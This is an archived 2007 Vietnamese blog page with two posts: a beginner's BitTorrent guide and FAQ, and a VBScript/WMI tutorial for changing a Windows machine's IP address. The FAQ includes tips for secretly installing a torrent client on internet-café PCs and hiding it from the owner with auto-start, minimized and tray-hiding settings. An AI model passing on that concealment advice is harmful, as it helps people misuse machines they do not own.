Home

Advertisement

echipdesign [entries|archive|friends|userinfo]
echipdesign

[ userinfo | livejournal userinfo ]
[ archive | journal archive ]

Bittorent - Những điều căn bản [Jun. 26th, 2007|02:44 am]

Bittorent - Những điều căn bản

Một cách chia sẻ file mới trên mạng, hiện nay nó đang dần trở nên phổ biến bởi tính "chia sẻ" của nó. Các hãng phát hành Game đang dần chuyển sang cho phép tải clients dưới dạng Bittorent (Silk Road VN là một ví dụ).

Dưới đây sẽ là những thông tin cơ bản nhất, những hướng dẫn căn bản nhất giúp các bạn làm quen với Bittorent.

Bài viết tham khảo từ bài viết của Kronpas (Gamevn.com's member)
a/Khái niệm:
Bittorent là tên của một phần mềm, cũng là tên của một giao thức chuyển file (file transfer protocol), được sáng tạo bởi Bram Conhen.

Bittorent được thiết kế với mục đích ban đầu: người dùng chia sẻ các file lớn mà không làm giảm tốc độ chuyển file – càng nhiều người tham gia chia sẻ, tốc độ download càng nhanh.

b/Cách thức hoạt động:

Từ hình trên, ta có thể thấy: mạng chia sẻ sử dụng bittorent trao đổi file các file lớn/rất lớn nhanh và hiệu quả hơn hẳn mạng thông thường dùng cơ chế client/server.

File được chia sẻ sẽ được chia thành nhiều mảnh (nhỏ nhất là 1/4 MB – 250KB).

Các máy tham gia mạng (client) sẽ download các mảnh của file từ máy đầu tiên có đầy đủ 100% file đó (first seeder), và sẽ upload các phần mình đã down được cho máy khác ngay sau khi down được dù chỉ những mảnh đầu tiên. Bằng cách này, mỗi máy tham gia mạng đều có chung trách nhiệm phân phối file bên cạnh mục đích download, và - trên lý thuyết – càng nhiều người tham gia, tốc độ download trung bình của mạng sẽ càng nhanh lên.

c/Các thuật ngữ (đã cắt bớt 1 số ít gặp):

torrent: đôi khi được dùng để gọi chung (Vd torrent file), nhưng thường để chỉ các file .torrent nhỏ vài chục KB. Các file .torrent này chứa thông tin về file cần chia sẻ, hash number, và địa chỉ của tracker server.

Tracker: tracker hay tracker server là máy chủ điều hành việc trao đổi/chia sẻ của mỗi file trong mạng bittorent. Các client muốn bắt đầu
download/upload sẽ phải kết nối tới tracker, và được tracker “giới thiệu” đến các client có file cần down. Việc download/upload sau khi được giới thiệu là của 2 client, không liên quan tới tracker.

Client: là phần mềm sử dụng để download file bằng giao thức bittorent. Client cũng được hiểu theo nghĩa “người đang tham gia download/upload file trong mạng”.

availability: Số lượng của bản đầy đủ của file. Mỗi seeder sẽ cộng thêm 1.0 vào số này, và mỗi peer sẽ cộng thêm 0.x, tỉ lệ với số % file mà họ đang có.
seed/seeder: Người đã có đủ 100% file và đang upload được gọi là seeder. Hành động up lại khi đã có đầy đủ 100% file được gọi là seed.

Peer: người đang tham gia download/upload file trong mạng bittorent. Peer không có đầy đủ 100% file.

leech/leecher: leech dịch nghĩa là “hút máu”/”con đỉa”. Leecher là những kẻ download từ mạng bittorent, nhưng lại upload trở lại rất thấp, hoặc gần như không up lại chút gì (down vài trăm KBs nhưng up có 1, 2 KBs) => ăn bẩn + Phá thối không hơn không kém. Đôi khi leecher được dùng lẫn với peer.

Scrape: client gửi yêu cầu đến tracking server để hỏi thông tin về những người đang download/upload file và “sức khoẻ” (health) của mạng.

Swarm: là tổng của seeder và peer.

Hash number: mỗi file torrent được chia sẻ trên mạng được gắn kèm số hash đặc biệt. Không bao giờ có 2 hash number trùng nhau, nhằm đảm bảo không có sự lẫn lộn trong upload/download file.
Sử dụng Bittorents để download file
a/ Cách dùng:

CLIENT: Có khá nhiều phần mềm để download file bằng giao thức này, và có thể liệt kê ở đây: Azueus, bitcommet, bitlord, bittorent, utorrent, ABC. Trong số các phần mềm trên, nổi bật nhất là Azureus, bitcomet và uttorent.

Azureus: đầyđủ tính năng nhất, nhưng cũng đồng nghĩa với việc rất nhiều chức năng không dùng đến, và do chạy trên nền Java, Azureus nổi tiếng ăn tài nguyên PC.

Azureus

BitComet: là client thứ 2 tôi sử dụng (sau bittorent). Ưu: nhẹ (nhẹ hơn so với Azureus), khá đầy đủ tính năng, là một trong các client đầu tiên hỗ trợ NAT traversal và DHT (sẽ nói thêm ở phần sau).

BitComet

Utorrent: Hiện đang sử dụng, và có lẽ sẽ không phải chuyển sang client khác. Utorent nổi tiếng vì “nhẹ”, cả trên phương diện tài nguyên (khoảng 5MB RAM) cũng như bản thân phần mềm khá nhỏ gọn, chỉ .. vài trăm KB, thậm chí chỉ là một file exe không cần cài đặt. Mặc dù vậy, uttorent thuộc loại “bé hạt tiêu”, hỗ trợ đầy đủ các tính năng cần thiết nhất cũng như nâng cao của bitcommet, cũng như không có thành phần thừa thãi (VD như trình duyệt web có sẵn trong client. Ai cần cái đấy?).

utorrent

DOWNLOAD: Làm thế nào để download file bằng bittorent? Không còn gì dễ dàng hơn.

1. - Vào site cung cấp torrent, vd torrentspy.com, mininova.org, hoặc thậm chí google.com với keyword thích hợp. Tìm file bạn muốn down. Bạn sẽ download về một file *.torrent nhỏ vài chục KB.
2. - Dùng torrent client đã nói ở trên open file *.torrent đấy, chọn nơi lưu file cần down, start, và … chờ. Thường thì download qua torrent khá chậm, vài chục KBs, nhưng cũng có lúc khá nhanh (nhanh hơn direct download ). Sẽ đề cập đến download speed ở phần sau bài viết.



b/ Những động tác cần thiết để client hoạt động bình thường:

Portforward: Thông thường người dùng connect vào internet qua router, hoặc proxy. => client sẽ không nhận được kết nối từ ngoài vào do bị firewall chặn lại => không download/up load được gì cả. Cách duy nhất giải quyết triệt để việc này là “đục lỗ” trên firewall – open port. Xem cách open port ở đây:

Download/upload capping: Dành cho người dùng ADSL. Tôi không dùng cable nên ko đảm bảo điều này đúng ,nhưng cũng ko mất gì để thử, rite ? . Nếu bạn upload quá nhiều trong 1 lúc, quá giới hạn upload (vd up 80KBs trong khi đường upload tối đa trên lý thuyết là 60KBs), tốc độ download sẽ bị ảnh hưởng rất lớn, thậm chí không lướt web được, đành ngồi chat nhảm cho qua ngày . Giải quyết rất đơn giản: giới hạn tốc độ upload tối đa trong phần “prefences” của client (maximum upload speed) bằng khoảng 80% tốc độ upload lý thuyết của đường truyền bạn – xem hợp đồng để biết thông tin này.

Number of connection maximizing: Router chỉ có thể quản lý được số lượng giới hạn kết nối trong cùng một lúc, và con số này khác nhau với các router khác nhau. Cách duy nhất để biết điều này là thử - cứ set number of connections cao dần cho đến khi bạn bị disconnect khỏi mạng trong lúc đang download. Nếu gặp may, bạn có thể tìm được thông tin này trong manual của router mình đang sử dụng.
Bittorent - Hỏi/đáp
hững câu hỏi thường gặp khi sử dụng Bittorent:

1/ Tại sao tôi download quá chậm!!!!??????

- Trước hết, kiểm tra lại cài đặt client (đọc lại từ đầu bài. Ngắn gọn, nhưng tôi nghĩ đầy đủ thông tin cần thiết). Nếu đã forward port, đã cap speed, thì lý do chỉ là ở bản thân cái file bạn đang down: quá ít người tham gia share, hoặc do mạng cùi bắp => bó tay .
- Theo kinh nghiệm bản thân, các soft torrent liệt kê ở phần đầu bài có tốc độ download ngang nhau, nên không phải loay hoay thử cái khác làm gì.

2/ Chậm quá, chậm hơn download từ web về nhiều! Làm sao ngồi hàng net mà down được bằng torrent đây?

- Nếu file mới (movies, games) hoặc phổ biến (music, movies), có nhiều người tham gia share thì tốc độ download của bạn sẽ khá cao, nhưng cũng có file ít người quan tâm -> tốc độ chỉ khoảng 30KBs đi đều bước => bó tay tập 2 ^^. Nếu bạn phải dùng net ngoài dịch vụ, lời khuyên là không nên cố dùng torrent làm gì. (tất nhiên trừ trường hợp cài lén +download lén ).
- Nếu vẫn cố sử dụng torrent ngoài hàng net, thì đây là lời khuyên của một kẻ "có thâm niên cài và download lén" :

1. Dùng BitComet - lựa chọn duy nhất, vì tính năng NAT traversal của nó = không cần forward port.
2. Chỉ nên để download/upload rate khoảng 30 KBs maximum, tránh làm ảnh hưởng đến cả dàn máy trong cửa hàng (rất có khả năng ông chủ thấy máy chạy ì ạch sẽ .. ghost lại).
3. Set trong prefences: start w/ windows, start minimized, hoặc dùng thêm soft của hãng thứ 3 như hideit! => client tự khởi động cùng windows, tự minimize, thậm chí không hiện lên trên system tray.

- Anyway, không dùng nữa thì thôi, việc gì phải gào toáng lên -_-". Phim và game hàng GBs, không ai dư hơi up lên host để cho anh bạn down về, muốn có cái ăn, mời tham gia share.

3/ “Người ta bảo rằng” nên giới hạn tốc độ upload xuống thấp nhất - còn vài KB, download sẽ nhanh hơn.

- Nên nhớ rằng khi download từ mạng bittorent, bạn đang download những thứ người khác upload cho mình. Nếu ai cũng có tư tưởng “chỉ download không upload”, thì sẽ không có cái gọi là mạng chia sẻ - sharing network- , và tất nhiên chẳng còn khái niệm torrent, vì ai cũng chờ người khác up cho nhưng không chịu cho lại kẻ khác!
- Nên hiểu việc upload trở lại cho cộng đồng là nghĩa vụ, là một dạng “văn hoá”. Tất nhiên việc giới hạn upload speed còn 80% lý thuyết là việc khác…

4/Client nào dùng tốt nhất?

- Như phần đầu bài viết đã đề cập, 3 soft phổ biến nhất hiện nay là Azureus, bitcommet và utorrent. Mỗi cái có ưu/nhược riêng, và cũng là tuỳ sở thích cá nhân nữa ^^.

1. Azureus: rất nặng, ăn RAM và ăn CPU khủng khiếp, nhưng cũng đầy đủ nhất. Azureus có các tính năng client khác không có được, và cũng là kẻ tiên phong áp dụng công nghệ mới. Nhưng là người yêu thích sự nhỏ gọn, tôi CHƯA BAO GIỜ thử dùng Azureus
2. BitComet: BitComet là một trong các client có chức năng NAT traversal – cho phép download không cần open port bằng tay. Điều đó có nghĩa bitcommet là lựa chọn số 1 cho các đowloaders ở công sở/trường đại học, nơi connect vào Internet qua Proxy và không có hi vọng nhờ admin open port . BitComet cũng là client đầu tiên áp dụng DHT – đistributed hash table, cho phép các bitcommet clinet upload/download với nhau KHÔNG CẦN ĐẾN TRACKER. Bitcommet đã có thời bị hàng loạt private tracker cấm sử dụng, do việc không dùng tracker nghĩa là các bitcommet users có thể dl không cần có tài khoản tại private tracker đó. Gần đây bản cập nhật đã cho phép người tạo file torrent – seeder đầu tiên - chọn “enable DHT or not”, nhưng cái danh một thời bị ban hàng loạt vẫn ám ảnh client này .
3. Utorrent: nhỏ, nhẹ, đầy đủ tính năng. Thực tế 99% thời gian chạy của bittorent client là nằm dưới system tray, nên yêu cầu đầu tiên của tôi là “nhò, nhẹ, không ảnh hưởng đến công việc khác”. -> hiện đang dùng cái này, và rất hài lòng với nó.
4. Và các client khác….. http://en.wikipedia.org/wiki/BitTorrent_performance. Note: Opera 9 cũng là torrent client, ai đang dùng Opera thử xem sao?


5/Tôi vẫn không hiểu bittorent là cái quái gì. Sao không dùng IDM download cho nhanh?

- Như phần đầu đã trình bày, bittorent là phương thức chuyển file khác -> không dùng IDM được. Với các file qua http, fpt mà bạn dùng IDM để download, tất cả các máy con trong mạng sẽ down load từ cùng 1 hoặc 1 vài máy chủ, và những máy chủ đó chịu toàn bộ tải của mạng. Trong mạng bittorent, máy chủ chỉ có chức năng "hướng dẫn" cho các máy con gặp nhau, công việc download/upload do máy con tự lo-> Góp gió thành bão, càng đông người thì tốc độ download càng cao.

linkpost comment

Quản lý các mạng Windows dùng Script [Jun. 12th, 2007|12:03 am]
Quản lý các mạng Windows dùng Script
Phần 1: Những khái niệm cơ bản

Đây là phần đầu tiên trong loạt bài về các mạng Windows scripting. Phần này đề cập đến những khái niệm cơ bản nhất về kỹ thuật scripting (kỹ thuật viết kịch bản) trong các mạng chạy hệ điều hành Windows. Những phần còn lại của loạt bài sẽ chuyển đến các bạn nội dung chi tiết của nhiều khía cạnh khác nhau trong chủ đề này.

Có một câu nói như thế này, không rõ của vĩ nhân hay thường dân nào nhưng tôi thấy quả rất chí lý: “Đưa cho một anh chàng sắp chết đói một con cá, bạn nuôi được anh ta một ngày; nhưng nếu dạy cho anh ta cách câu cá, bạn nuôi anh ta cả đời”.

Còn gì đúng hơn thế, và càng đúng hơn trong thế giới bận rộn của các chuyên gia công nghệ thông tin (mà chúng ta vẫn quen miệng gọi là dân IT) khi làm việc với kỹ thuật scripting: “Đưa cho một admin một script, bạn giúp anh ta giải quyết một vấn đề; nhưng nếu dạy anh ta cách viết script như thế nào, bạn giúp anh ta làm được công việc gắn liền với cả đời anh ta”.

Giá mà tự động hoá được công việc quản trị hàng ngày bằng các script, cuộc sống của những admin sẽ thoải mái và nhẹ nhàng hơn nhiều. Tại sao cần phải biết và dùng script? Không phải đã có hàng trăm script được viết sẵn trôi nổi trên thế giới mạng mà bạn có thể tải về dùng một cách dễ dàng, như lấy từ nguồn trung tâm Script Center Script Repository của Microsoft chẳng hạn. Vậy tại sao? Hàng trăm kịch bản (script) viết sẵn, xin thưa rằng đúng. Tải về dùng dễ dàng, xin thưa rằng lại càng đúng. Ấy vậy mà đúng nhưng chưa đủ. Chúng hữu ích và giúp đỡ bạn rất nhiều, nhưng nhiều khi đòi hỏi riêng theo cấu hình cụ thể trong môi trường của bạn lại làm khó chúng. Có khi trong hàng trăm hàng nghìn script tải về bạn chỉ chọn lọc được một script phù hợp mà vẫn phải điều chỉnh đôi chút. Đơn giản vì tác giả viết ra nó không nằm trong tổ chức của bạn, không thực hiện theo cấu hình của bạn và mối quan tâm của họ lại hướng đến một cái gì khác cơ. Khi đó các admin phải trở thành những ông thợ sửa chữa lành nghề, thay đổi chỗ này một chút, thay đổi chỗ kia một tý, ghép ghép nối nối để biến vài scrip nhỏ lẻ thành một script hợp nhất lớn hơn hay dùng dữ liệu đầu ra của script này làm thành dữ liệu đầu vào cho script khác, hay biến nó thành công cụ hoạt động cho một máy từ xa… Quả là rất nhiều việc!

Anh thợ máy muốn sửa chữa được máy móc thì phải hiểu cấu trúc của nó, đó là điều không ai phản bác. Bởi vậy mà anh “thợ” admin muốn biến đổi, điều chỉnh script thì phải hiểu về nó, phải biết cách xây dựng và viết ra nó, biến những cái mới hay cái có sẵn thành cái của riêng mình, phù hợp nhất với mình. Và lúc đó người ta gọi anh là “thợ lành nghề”. Muốn được như vậy, ai cũng phải bắt đầu với những điều cơ bản nhất, ở đây là Windows scripting. Nói đến script, nhiều người tưởng chừng rất khó, thực sự khó vì trước hết… script rất khó dịch sang tiếng Việt! Script nghĩa là “kịch bản”, nhưng dân công nghệ chúng ta đâu phải là người làm phim nên kịch bản của thế giới IT chỉ toàn những đoạn mã loằng ngoằng mà chỉ có các chuyên gia mới hiểu, còn nhiều người “thường thường bậc trung” như… sinh viên công nghệ thì chịu! Chính bởi vậy mà hôm nay chúng ta sẽ bắt đầu từ những cái cơ bản nhất, sau đó nâng cao dần khả năng hiểu những khía cạnh sâu xa hơn trong viết và dùng script ở các mạng Windows. Mục đích cuối cùng mà chúng ta hướng tới là kể cả những người mới bắt đầu tìm hiểu như bạn, như tôi đều có thể script hoá tự động công việc, để cuộc sống của các admin an nhàn hơn. Chúng ta sẽ thực hiện điều này trên cả script do chính bạn viết ra hoặc download về từ nhiều nguồn khác nhau. Chúng ta cũng sẽ được biết một số tài nguyên liên quan đáng tìm hiểu để có cái nhìn sâu sắc hơn về Windows scripting, cũng như một số công cụ trợ giúp có thể sẽ rất hữu ích trong tương lai.

Các thiết lập TCP/IP scripting

Hầu như admin nào cũng dùng Visual Basic Script (VBScript) để viết kịch bản quản trị Windows (Windows admin script). VBScript không chỉ là một ngôn ngữ mạnh mà cú pháp của nó còn khá đơn giản để học và làm. VBScript có thể dùng chung với Windows Management Instrumentation (WMI) và Active Directory Services Interfaces (ADSI) để viết kịch bản cho bất kỳ khía cạnh nào của một hệ thống chạy hệ điều hành Windows hay một mạng dùng Active Directory. Chúng ta sẽ bắt đầu học về Windows scripting bằng cách dùng VBScript với WMI để thực hiện một điều sẽ rất hữu ích: thay đổi địa chỉ IP của một network adapter.

Tại sao lại cần thực hiện điều này? Đó là do chúng ta sẽ phải sử dụng nhiều đến một máy chủ ảo và một PC ảo để thiết lập môi trường kiểm tra. Chúng ta sẽ cần phải chuyển một máy ảo (VM) chạy hệ điều hành Windows Server 2003 từ mạng ảo này sang mạng ảo khác để sử dụng lại server (máy chủ) cho một số mục đích khác. Như thế có nghĩa là chúng ta sẽ cần thay đổi địa chỉ IP trên server (cũng có thể là cổng vào mặc định nữa). Bạn có thể thực hiện điều này bằng cách mở Network Connections trong Control Panel và kích phải chuột lên Local Area Connections, chọn Properties > Internet Protocol (TCP/IP) trên tab General và bấm chọn Properties, nhập địa chỉ IP mới rồi ấn OK hai lần. Đây là cách thực hiện phổ biến nhưng nghe qua bạn đã thấy khá dài dòng và mệt mỏi. Với những chuyên gia, họ thích sử dụng Command Promt hơn, lệnh dùng ở đây là Netsh. Song, khi sử dụng lệnh này bạn cần cẩn trọng vì nó có nhiều ngữ cảnh, lệnh và tham số khác nhau rất khó nhớ. Thực hiện sai một thao tác cũng có thể dẫn đến hậu quả nghiêm trọng. Nếu chưa thực sự chắc chắn, hãy nhờ sự giúp đỡ của phần trợ giúp Help hoặc quay trở lại cách thứ nhất.

Nhưng mục đích của chúng ta ở đây là học về script. Do đó, chúng ta sẽ xem xét cách thay đổi địa chỉ IP của máy dùng VBScript và WMI như thế nào mà trước hết là phải biết đến một số khái niệm cơ bản như đối tượng (object), phương thức (method), thuộc tính (property), namespace…

Để bắt đầu, hãy chạy script trên một máy cục bộ:

strComputer = "."

Ở đây, tiền tố str- được đặt đầu đối tượng là để chỉ strComputer là một biến có chứa xâu, còn dấu chấm là ký hiệu tham chiếu tới máy cục bộ và được dùng như một điểm bắt đầu của namespace WMI. Vậy không gian tên WMI là gì? Thực ra, đó là một tập hợp phân cấp các lớp đối tượng khác nhau, có thể được dùng để quản lý nhiều mặt khác nhau của máy tính Windows. Ví dụ, có một namespace gốc và bên dưới nó là hàng tá namespace con khác như SECURITY, CIMV2, perfmon… Hầu hết các lớp WMI hữu ích nằm trong không gian tên root\cimv2 và trước khi làm việc với bất kỳ lớp nào trong số đó, chúng ta cần diễn giải chúng thành các đối tượng. Sau đó là xem xét thuộc tính của các đối tượng này và gọi phương thức để thao tác chúng.

Lớp, đối tượng, thuộc tính, phương thức - chúng là những gì? Dưới đây là một phân tích đơn giản có thể giúp bạn hiểu về chúng: xem xét lớp MicrowaveOven, tức tập hợp trừu tượng của tất cả các lò vi sóng (không có một lò thực nào được đưa vào trong đó cả). Lớp này có thể có các thuộc tính: màu sắc (Color), kích thước theo khối lập phương (CubicInches), mặt quay tròn (HasTurntable)… Có lẽ bạn hiểu thuộc tính chính là các đặc điểm, tính chất đặc trưng cho một lớp. Nói cách khác, các lò vi sóng này sẽ có một màu nào đó, có một kích thước bên trong nào đó và chúng có thể quay tròn hoặc không.

Lớp MicrowaveOven cũng có các phương thức. Phương thức, tức là một hàm tính toán hoặc được định nghĩa theo một quy luật nhất định để lớp có thể thao tác hoặc bạn có thể thao tác với lớp. Với lớp cụ thể này, một số phương thức có thể dùng là SetCookingTime (thiết lập thời gian nấu), SetPowerLevel (thiết lập mức điện sử dụng), Reset (nấu lại)… Thông thường, để gọi một phương thức bạn phải đưa tham số vào cho nó. Ví dụ, để gọi phương thức SetCookingTime (thiết lập thời gian nấu), chúng ta có thể định nghĩa biến CookingTime (thời gian nấu) trong một số giây nhất định và sau đó đưa biến này vào phương thức SetCookingTime thiết lập cho một trường hợp cụ thể của lớp này (một trường hợp thực, không phải là lò vi sóng trong lớp trừu tượng). Với WMI VBScript, chúng ta có thể thực hiện như sau:

intCookingTime = 120
errSetCookingTime = objMicrowave.SetCookingTime(intCookingTime)


Nhưng đối tượng lò vi sóng (objMicrowave) ở đâu ra? Chúng ta vẫn chưa tạo nó, vì vậy hãy tạo bằng cách dùng lệnh Set và phương thức CreateObject:

Set objMicrowave = CreateObject("MicrowaveOven")

Thực ra, nếu xét kỹ hơn thì objMicrowave không phải là đối tượng của lớp MicrowaveOven. Chính xác hơn nó là một đối tượng tham chiếu tới một thể hiện của lớp MicrowaveOven. Nhưng hiện tại chúng ta mới chỉ bắt đầu với những gì cơ bản nhất nên các khía cạnh sâu hơn này sẽ được tìm hiểu ở sau.

Tiếp theo, tạo thêm biến strColor để thiết lập thuộc tính màu sắc cho lò vi sóng của chúng ta. Đặt giá trị biến là Green (màu xanh là cây), script sẽ có dạng như bên dưới (với một số chú thích bên cạnh):

strColor = "Green" 'gán màu cho lò vi sóng
intCookingTime = 120 'quy định thời gian nấu (tính theo giây)
Set objMicrowave = CreateObject("MicrowaveOven") 'tạo một thể hiện của đối tượng
errSetCookingTime = objMicrowave.SetCookingTime(intCookingTime) 'gọi một phương thức để
‘thiết lập thời gian nấu và ghi lại đoạn mã lỗi kết quả

objMicrowave.Color = strColor 'thiết lập giá trị thuộc tính Color (màu sắc)

Cũng không quá khó phải không các bạn!

Trở lại với script

Muốn truy cập các thiết lập cấu hình TCP/IP của máy dùng WMI, bạn cần viết mã:

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Lệnh này sẽ kết nối bạn tới namespace root\cimv2 trên máy cục bộ bằng cách định nghĩa một đối tượng có tên objWMIService và thiết lập nó bằng với giá trị trả về của phương thức GetObject. Sau khi kết nối tới namespace này, bạn có thể thu thập thông tin như bên dưới:

Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")")

Dòng lệnh này chạy như thế nào? Đầu tiên, bạn có thể thấy đối tượng có tên objWMIService mà chúng ta vừa mô tả một phút trước ở dòng bên trên. Sau đối tượng này là ExecQuery, có thể là thuộc tính mà cũng có thể là phương thức (cấu trúc của lệnh luôn luôn là doituong.thuoctinh hoặc doituong.phuongthuc). Chúng ta có thể dễ dàng đoán ra đó là một phương thức vì đằng sau nó là một câu truy vấn. Phương thức ExecQuery được gọi bằng cách thêm một tham số vào nó. Tham số ở đây là một lệnh SQL (SELECT), trả ra tập hợp (được đánh dấu bởi tiền tố “col-”) của tất cả (dấu hoa thị) cấu hình bộ điều hợp mạng trên máy có đường bao TCP/IP và được cho phép trên bộ điều hợp. Tập hợp trả về sau khi thực hiện phương thức này sẽ được gán với biến colNetAdapters.

Chúng ta có thể làm gì với tập hợp này? Khi có một tập hợp trong tay, bạn phải lặp vòng nó, dùng một lệnh lặp như For Each. Vòng lặp tiếp theo sẽ như thế này:

For Each objNetAdapter in colNetAdapters
' do something to each network adapter's configuration
Next


Bạn luôn phải lặp vòng các tập hợp cho dù tập hợp đó chỉ có một đối tượng.

Bây giờ, điều chúng ta thực sự muốn là thay đổi địa chỉ IP cho adapter của mình. Vì thế, hãy định nghĩa thêm một số biến:

arrIPAddress = Array("172.16.11.99")
arrSubnetMask = Array("255.255.255.0")


Chú ý là các biến định nghĩa địa chỉ IP và subnet mask mới phải là các biến mảng. Tại sao lại như thế? Lý do đầu tiên là các máy tính Windows nhiều khi không phải chỉ có một địa chỉ IP, một cổng vào mặc định… Vậy thì tại sao không dùng biến mảng cho tất cả các thiết lập IP được nhất quán. Và lý do thứ hai, nếu tìm kiếm lớp Win32_NetworkAdapterConfiguration trong WMI Reference trên MSDN, bạn sẽ thấy được phải dùng đến biến mảng. Chúng ta sẽ nghiên cứu sâu hơn về WMI Reference trong tương lai, còn bây giờ thì tạm thời chấp nhận ở mức độ chưa rõ ràng một chút.

Cuối cùng, cần gọi phương thức EnableStatic của lớp Win32_NetworkAdapterConfiguration để thay đổi địa chỉ IP và cổng vào mặc định của bộ điều hợp mạng sang thiết lập mới chúng ta đã định nghĩa trong các biến mảng. Thực hiện như sau:

errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)

Ở đây, biến err- là cần thiết, giống như một nơi lưu trữ đoạn mã lỗi trả về khi phương thức chạy.

Mang tất cả lại với nhau

Bây giờ, ghép tất cả các phần lại với nhau và hãy xem chúng ta có những gì:

strComputer = "."
arrIPAddress = Array("172.16.11.99")
arrSubnetMask = Array("255.255.255.0")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
Next

Bạn biết đấy, đoạn mã này đưa ra các định nghĩa biến, điều khiển lỗi, dùng dữ liệu đầu vào và kiểm chứng kết quả trả về. Chúng ta sẽ sử dụng lại đoạn mã này trong những phần sau của loạt bài, nhưng đầu tiên hãy xem liệu nó có làm việc hay không. Ghi script lại với tên ChangeIPAddress.vbs (nhớ là phải tắt Word Wrap trong Notepad) và copy nó lên desktop của máy chủ có địa chỉ tĩnh 172.16.11.45. Sau đó, mở cửa sổ dòng lệnh Command Promp với vai trò người dùng Administrator, chuyển tới thư mục Desktop và chạy script, dùng Cscript.exe. Kết quả trả về:

C:\Documents and Settings\Administrator\Desktop>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.11.45
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.11.1

C:\Documents and Settings\Administrator.DC-1\Desktop>cscript ChangeIPAddress.vbs

Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

C:\Documents and Settings\Administrator\Desktop>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.11.99
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.11.1

Vâng, nó đã làm việc! Địa chỉ IP của máy đã được thay đổi thành công từ .45 thành .99 như hiển thị trên lệnh Ipconfig thứ hai.
Phần 2: Hoàn chỉnh script
Ở phần trước chúng ta đã biết đến một số khái niệm cơ bản về kỹ thuật scripting như đối tượng (object), phương thức (method), thuộc tính (property) và viết ra một scritp đơn giản thay đổi địa chỉ IP gán cho bộ điều hợp mạng. Sau đó, chúng ta đã sử dụng bốn script đầu tiên, được gọi là ChangeIPAddress.vbs:
strComputer = "."
arrIPAddress = Array("172.16.11.99")
arrSubnetMask = Array("255.255.255.0")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
Next
Khi chạy script này trên server Windows, nó thay đổi thành công địa chỉ IP của máy từ .45 sang .99. (Kiểm tra bằng lệnh ipconfig trước và sau khi chạy script). Kết quả hoàn toàn tốt.

Nhưng script chúng ta đã xây dựng mới từng lại ở mức khá đơn giản. Còn thiếu nhiều yếu tố quan trọng khác như các định nghĩa biến, điều khiển lỗi, dùng dữ liệu đầu vào và xác nhận dữ liệu đầu ra cần phải bổ sung vào để có được một script tương đối hoàn chỉnh. Chúng ta sẽ thực hiện điều đó trong phần hai này.

Các định nghĩa biến

Việc đầu tiên chúng ta cần làm để sắp xếp gọn gàng script là định nghĩa các biến sẽ dùng. VBScript cho phép định nghĩa ngầm các biến đơn giản bằng cách dùng nó trong một câu lệnh, nhưng sẽ tốt hơn nếu bạn khai báo tường minh chúng ngay khi bắt đầu script. Khai báo một biến sẽ nói cho VBScript biết về sự tồn tại của nó để cấp phát bộ nhớ lưu trữ. Vì sao khai báo biến tường minh lại hay hơn? Ví dụ như trong một script dài, bạn thường phạm phải một hay một số lỗi gõ phím nhầm. Và khi gõ nhầm tên của một biến, script của bạn sẽ không chạy được. Nếu khai báo biến tường mình ở đầu script thì bất kỳ biến nào được khai báo ngầm về sau trong script (có thể là nguyên nhân gây ra lỗi gõ nhầm) sẽ tạo ra một lỗi runtime. Các thông báo lỗi có thể sẽ giúp bạn xác định được vị trí nhầm lẫn và gỡ lỗi cho script của bạn.

Để VBScript biết bạn khai báo tường minh tất cả các biến trong script, thêm lệnh sau vào đầu script:
Option Explicit
Nếu thêm lệnh này vào đầu script ChangeIPAddress.vbs và chạy nó từ Command Prompt, kết quả là:
C:\Documents and Settings\Administrator.DC-1\Desktop>ChangeIPAddress.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
C:\Documents and Settings\Administrator.DC-1\Desktop\ChangeIPAddress.vbs(2, 1) Microsoft VBScript runtime error: Variable is undefined: 'strComputer'
Điều mà VBScript (hay cơ chế script đã đăng ký của Windows Script Host để chạy các script VBScript) muốn nói ở đây là có một lỗi trong dòng 2 của script:
strComputer = "."
Vì sao lại xuất hiện lỗi này? Đó là do chúng ta đang gán giá trị cho một biến xâu (strComputer) chưa được khai báo. Vì thế, bây giờ chúng ta cần thêm các khai báo cho biến dùng trong script:
Option Explicit
Dim objWMIService
Dim objNetAdapter
Dim strComputer
Dim arrIPAddress
Dim arrSubnetMask
Dim colNetAdapters
Dim errEnableStatic
strComputer = "."
arrIPAddress = Array("172.16.11.93")
arrSubnetMask = Array("255.255.255.0")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
Next
